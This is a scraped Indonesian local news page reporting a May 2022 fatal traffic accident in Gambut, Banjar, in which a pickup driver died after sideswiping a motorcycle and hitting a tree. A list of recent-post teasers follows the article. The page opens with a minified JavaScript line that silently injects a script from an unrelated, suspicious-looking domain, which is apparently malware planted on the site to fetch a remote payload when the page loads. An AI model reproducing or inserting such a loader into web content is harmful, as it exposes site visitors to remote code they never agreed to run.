(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Laka Maut di Gambut, Pickup Sempat Senggol Motor Sebelum Tabarak Pohon


KANALKALIMANTAN.COM, MARTAPURA – Polisi mengungkap kronologi lakalantas maut sopir menabrak pohon terjadi di Jalan A Yani Km 15 Desa Gambut Kecamatan Gambut Kabupaten Banjar, Minggu (22/5/2022) pagi tadi.

Akibat dari peristiwa tersebut, seorang sopir mobil Daihatsu Gran Max Pick up bernama Taufik Hidayat (28) yang merupakan pekerja buruh lepas meninggal dunia usai terjepit bagian dashboard pickup.

Adapun kendaraan yang terlibat kecelakaan ini ialah sepeda motor Yamaha Mio Sporty yang dikedarai Rahman seorang pedagang asal Desa Jati Baru Rt 003 Rw 002 Kecamatan Astambul Kab Banjar.

Hal itu dibenarkan oleh Kapolres Banjar AKBP Doni Hadi melalui Kasi Humas Polres Banjar, Iptu Suwarji.

 

Kondisi kendaraan roda dua merk Yamaha Mio Sporty yang dikedarai oleh Rahman, Evita dan anak kecil bernama Nor Hafi Mujafar setelah tersenggol pickup.
Foto: ist

Baca juga : Setelah Pulau Sembilan, Wakapolda Kalsel Kunjungi Kediaman Guru Pantai

“Pick up yang dikemudikan oleh TH datang dari arah Banjarbaru menuju arah Banjarmasin kemudian kejadian menyenggol sepeda motor Yamaha Mio Sporty yang datang dari arah Banjarbaru menuju arah Banjarmasin, kemudian pick up menabrak pohon yang ada dikiri jalan arah Banjarmasin,” terang Iptu Suwarji kepada kanalkalimantan.com, Minggu (22/5/2022) malam.

Saat kejadian diketahui Rahman sedang berboncengan dengan dua penumpang lain yaitu Evita Sari yang membawa anak kecil berumur 3,5 tahun atas nama Nor Hafi Mujafar.

“Dilaporkan bahwa anak atas nama Nor Hafi Mujafar mengalami perut lecet, lutut kaki sebelah kiri lecet, jempol kaki sebelah kanan lecet yang kemdian di bawa ke RSUD Ulin Banjarmasin,” lanjutnya.

Sementara itu pengemudi pick up yang merupakan warga komplek Griya Utama, Jalan Alba Raya No 15 Rt 004 Rw 019, Desa Rancaekek Wetan, Kecamatan Rancaekek, Kabupaten Bandung, mengalami luka kaki sebelah kiri robek, dada memar telapak kaki sebelah kiri robek, keluar darah dari hidung, dan akhirnya dinyatakan meninggal dunia ditempat. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.